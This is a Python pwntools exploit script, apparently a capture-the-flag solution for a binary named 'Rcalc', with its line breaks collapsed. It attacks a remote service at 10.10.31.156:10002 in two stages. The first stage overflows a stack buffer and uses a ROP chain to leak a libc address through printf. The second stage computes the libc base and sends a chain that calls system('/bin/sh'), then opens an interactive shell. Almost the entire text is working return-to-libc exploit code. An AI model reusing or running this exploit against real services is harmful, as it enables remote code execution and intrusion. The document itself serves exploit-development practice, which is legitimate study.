1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| from pwn import * context.log_level='debug' context.terminal = ['tmux','splitw','-h']
cn = remote('10.10.31.156',10002) elf = ELF('./Rcalc')
libc = ELF('./libc6_2.23-0ubuntu11.2_amd64.so')
libc_start_main_got = elf.got['__libc_start_main']
printf_plt = elf.plt['printf'] main = 0x401036 pop_rdi = 0x401123 fmt_str = 0x401203 pop_rsi_r15_ret = 0x401121
bin_sh_offset = next(libc.search(b"/bin/sh")) read_got = elf.got['read'] cn.recvuntil('I')
print(main) print(libc_start_main_got) payload = flat(['a'*0x108,p64(0),p64(0),p64(pop_rdi),p64(fmt_str),p64(pop_rsi_r15_ret),p64(libc_start_main_got),p64(0),p64(printf_plt),p64(main)]) print(payload) cn.sendlineafter('pls: ',payload) for i in range(35): cn.sendlineafter('choice:','1') cn.sendlineafter('integer: ','0') cn.sendlines('0') cn.sendlineafter('result? ','yes') cn.sendlineafter('Your choice:','5') libc_start_main = cn.recv(8) libc_base = u64(libc_start_main.ljust(8,b'\x00')) - libc.symbols['__libc_start_main'] libc_system = libc_base + libc.symbols['system'] bin_sh_addr = libc_base + bin_sh_offset payload = flat(['a'*0x108,p64(0),p64(0),p64(pop_rdi),p64(bin_sh_addr),p64(libc_system)]) cn.sendlineafter('pls: ',payload) for i in range(35): cn.sendlineafter('choice:','1') cn.sendlineafter('integer: ','0') cn.sendlines('0') cn.sendlineafter('result? ','yes') cn.sendlineafter('Your choice:','5') print(hex(libc_base)) print(hex(u64(libc_start_main.rjust(8,b'\x00')))) print(hex(bin_sh_addr)) print(hex(libc_system)) print(hex(bin_sh_addr))
cn.interactive()
|